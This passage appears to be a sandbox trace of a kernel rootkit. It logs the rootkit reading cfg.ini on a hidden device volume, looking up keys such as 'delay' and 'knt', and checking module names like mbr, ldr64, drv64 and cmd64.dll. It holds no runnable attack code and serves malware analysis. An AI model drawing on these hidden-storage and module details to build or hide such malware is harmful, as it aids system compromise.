(MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a4000 [0126.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.475] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.475] IdePortDispatch () returned 0x103 [0126.475] KeWaitForMutexObject () returned 0x0 [0126.475] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.475] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.475] IdePortDispatch () returned 0x103 [0126.475] KeWaitForMutexObject () returned 0x0 [0126.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.476] KeLeaveCriticalRegion () [0126.476] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.476] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.476] KeEnterCriticalRegion () [0126.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.476] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.476] KeLeaveCriticalRegion () [0126.476] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.476] KeEnterCriticalRegion () [0126.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.476] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.476] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.476] KeLeaveCriticalRegion () [0126.476] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.476] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.476] KeEnterCriticalRegion () [0126.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.476] ExFreePoolWithTag (P=0xfffffa8003bfa200, Tag=0x0) [0126.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.477] KeLeaveCriticalRegion () [0126.477] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.477] ReleaseMutex (hMutex=0xf0) returned 1 [0126.477] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.477] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.477] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.477] KeEnterCriticalRegion () [0126.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.477] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.477] IdePortDispatch () returned 0x103 [0126.478] KeWaitForMutexObject () returned 0x0 [0126.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.478] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.478] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.478] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.478] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.478] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec430 [0126.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.478] KeLeaveCriticalRegion () [0126.478] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.478] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.478] KeEnterCriticalRegion () [0126.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.478] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.478] KeLeaveCriticalRegion () [0126.478] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.478] KeEnterCriticalRegion () [0126.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.478] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.478] IdePortDispatch () returned 0x103 [0126.478] KeWaitForMutexObject () returned 0x0 [0126.479] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.479] KeLeaveCriticalRegion () [0126.479] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.479] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.479] KeEnterCriticalRegion () [0126.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.479] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b1000 [0126.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.479] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.479] IdePortDispatch () returned 0x103 [0126.479] KeWaitForMutexObject () returned 0x0 [0126.479] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.479] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.479] IdePortDispatch () returned 0x103 [0126.479] KeWaitForMutexObject () returned 0x0 [0126.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.479] KeLeaveCriticalRegion () [0126.479] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.480] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.480] KeEnterCriticalRegion () [0126.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.480] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.480] KeLeaveCriticalRegion () [0126.480] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.480] KeEnterCriticalRegion () [0126.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.480] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.480] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037edf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.480] KeLeaveCriticalRegion () [0126.480] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.480] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.480] KeEnterCriticalRegion () [0126.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.480] ExFreePoolWithTag (P=0xfffffa80037ec430, Tag=0x0) [0126.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.480] KeLeaveCriticalRegion () [0126.480] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.480] ReleaseMutex (hMutex=0xf0) returned 1 [0126.480] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.480] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.480] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.480] KeEnterCriticalRegion () [0126.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.480] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.480] IdePortDispatch () returned 0x103 [0126.481] KeWaitForMutexObject () returned 0x0 [0126.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.481] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.481] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.481] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.481] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.481] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec1d0 [0126.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.481] KeLeaveCriticalRegion () [0126.481] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.481] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.481] KeEnterCriticalRegion () [0126.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.481] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.481] KeLeaveCriticalRegion () [0126.481] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.481] KeEnterCriticalRegion () [0126.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.481] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.481] IdePortDispatch () returned 0x103 [0126.481] KeWaitForMutexObject () returned 0x0 [0126.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.481] KeLeaveCriticalRegion () [0126.481] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.481] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.482] KeEnterCriticalRegion () [0126.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.482] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b2000 [0126.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.482] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.482] IdePortDispatch () returned 0x103 [0126.482] KeWaitForMutexObject () returned 0x0 [0126.482] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.482] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.482] IdePortDispatch () returned 0x103 [0126.482] KeWaitForMutexObject () returned 0x0 [0126.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.482] KeLeaveCriticalRegion () [0126.482] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.483] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.483] KeEnterCriticalRegion () [0126.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.483] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.483] KeLeaveCriticalRegion () [0126.483] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.483] KeEnterCriticalRegion () [0126.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.483] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.483] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.483] KeLeaveCriticalRegion () [0126.483] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.483] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.483] KeEnterCriticalRegion () [0126.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.483] ExFreePoolWithTag (P=0xfffffa80037ec1d0, Tag=0x0) [0126.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.483] KeLeaveCriticalRegion () [0126.483] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.483] ReleaseMutex (hMutex=0xf0) returned 1 [0126.483] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.483] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.483] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.483] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.483] KeEnterCriticalRegion () [0126.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.483] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.483] IdePortDispatch () returned 0x103 [0126.483] KeWaitForMutexObject () returned 0x0 [0126.484] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.484] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.484] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.484] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.484] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.484] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.484] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.484] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.484] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.484] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.484] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.484] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.484] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.484] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.484] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.484] KeLeaveCriticalRegion () [0126.484] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.484] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.484] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.484] KeEnterCriticalRegion () [0126.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.484] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.484] IdePortDispatch () returned 0x103 [0126.484] KeWaitForMutexObject () returned 0x0 [0126.484] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.484] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.484] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.484] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.484] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.484] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.484] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.484] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.484] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.484] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.484] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.484] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.484] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.485] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.485] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.485] KeLeaveCriticalRegion () [0126.485] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.485] ReleaseMutex (hMutex=0x100) returned 1 [0126.485] Sleep (dwMilliseconds=0x2bf20) [0126.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e962450, dwHighDateTime=0x1d24fa4)) [0126.491] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.491] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.491] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.491] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.491] KeEnterCriticalRegion () [0126.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.491] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) 